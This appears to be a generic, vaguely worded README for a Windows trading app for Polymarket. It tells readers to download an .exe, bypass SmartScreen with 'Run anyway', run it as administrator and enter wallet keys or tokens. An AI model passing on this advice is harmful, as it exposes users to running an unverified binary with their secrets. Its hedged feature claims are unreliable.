polymarket-trading-agent is a Windows-ready trading tool for Polymarket users who want a simple way to follow markets and react to price changes. It is built in Rust and is made for people who want a local app that runs on their own machine.
Use this guide if you want to:
- download the app on Windows
- start it with a few clicks
- watch Polymarket markets
- use trading and alert features from one place
Open the GitHub page here:
Visit polymarket-trading-agent
From that page, look for the latest release or download files. On Windows, you usually want the .exe file or a ZIP file that contains the app.
If you see a ZIP file:
- Download the ZIP file
- Right-click it
- Choose Extract All
- Open the extracted folder
- Double-click the app file to run it
If you see an .exe file:
- Download the file
- Double-click it
- If Windows asks for permission, choose Yes
polymarket-trading-agent is meant to run on a normal Windows PC. A standard setup should work for most users.
Recommended setup:
- Windows 10 or Windows 11
- A stable internet connection
- At least 4 GB of RAM
- Enough free disk space for the app and its files
- A Polymarket account if you want to use trading features
If Windows SmartScreen appears:
- Click More info
- Click Run anyway
If your browser warns about the file, check that you downloaded it from the GitHub page listed above.
Follow these steps to get the app running:
- Open the GitHub page
- Find the latest download file
- Download the Windows build
- Open the download folder
- If the file is zipped, extract it
- Open the app folder
- Start the program by double-clicking the main app file
If the app includes a config file, keep it in the same folder as the program. Many desktop tools read settings from the same directory.
When you open polymarket-trading-agent for the first time, you may need to set a few basic items:
- your Polymarket account details
- your market watch list
- your alert rules
- your trading preferences
Use simple values at first. Start with one market and one alert. That makes it easier to check that everything works.
If the app asks for a key, token, or wallet value, enter it only in the fields shown inside the app.
This app is built for prediction market traders who want a local tool for market checks and trading support.
You can expect features like:
- market tracking
- price alerts
- trade action support
- arbitrage-style market checks
- quick updates for Polymarket events
- a Rust-based desktop workflow
Watch selected markets in one place. This helps you follow changes without opening many tabs.
Useful for:
- checking price moves
- tracking event odds
- watching markets you care about most
Set alerts for price changes or market conditions. Alerts help you act when a market reaches a level you want to watch.
Examples:
- alert when a price moves above a set point
- alert when a market drops below your target
- alert when a spread opens
The app description points to arbitrage trading use cases. That means it may help you spot price gaps or match conditions across markets.
This can help you:
- compare market prices
- look for value gaps
- watch for fast changes in spread
Because this is a local Windows app, you keep the tool on your own computer. That makes it easier to start, stop, and review your settings.
Use this simple flow after you install the app:
- Start the app
- Open the market list
- Add the markets you want to track
- Set alert levels
- Save your settings
- Check that updates appear on screen
- Use the trade features when you are ready
If the app has a test mode or sample settings file, use that first. It helps you learn the layout before you connect real trading settings.
You may see files like these after you extract the app:
polymarket-trading-agent.execonfig.jsonsettings.jsonlogsREADME.md
Keep the program files together. Do not move one file out of the folder unless the README says to do that.
Here are common settings you may find in a trading agent like this:
- Market list: the markets you want to watch
- Alert limit: the value that triggers a notice
- Refresh rate: how often the app checks for updates
- Trade size: the amount used for each trade
- Wallet or account link: the connection used for trading
Use small values at first. That lowers the chance of mistakes while you learn the app.
After you start the app, look for these signs:
- the window opens without errors
- your market list loads
- prices appear on screen
- alerts can be saved
- the app stays open while you use it
If the app closes right away, try these steps:
- Open it again
- Run it as administrator
- Check that Windows did not block the file
- Make sure all files stayed in the same folder
- Double-check that you extracted the ZIP file
- Make sure you opened the main app file
- Try running as administrator
- Open the file’s properties
- If you see an unblock option, enable it
- Try again
- Check your internet connection
- Wait a few seconds and refresh
- Make sure the app has the right market settings
- Confirm the alert level is saved
- Make sure the market is in your watch list
- Check that refresh is turned on
- Review your account or wallet settings
- Make sure the app has the right access
- Try a small test setup first
polymarket-trading-agent can be useful if you want to:

- get alerts without keeping a browser open
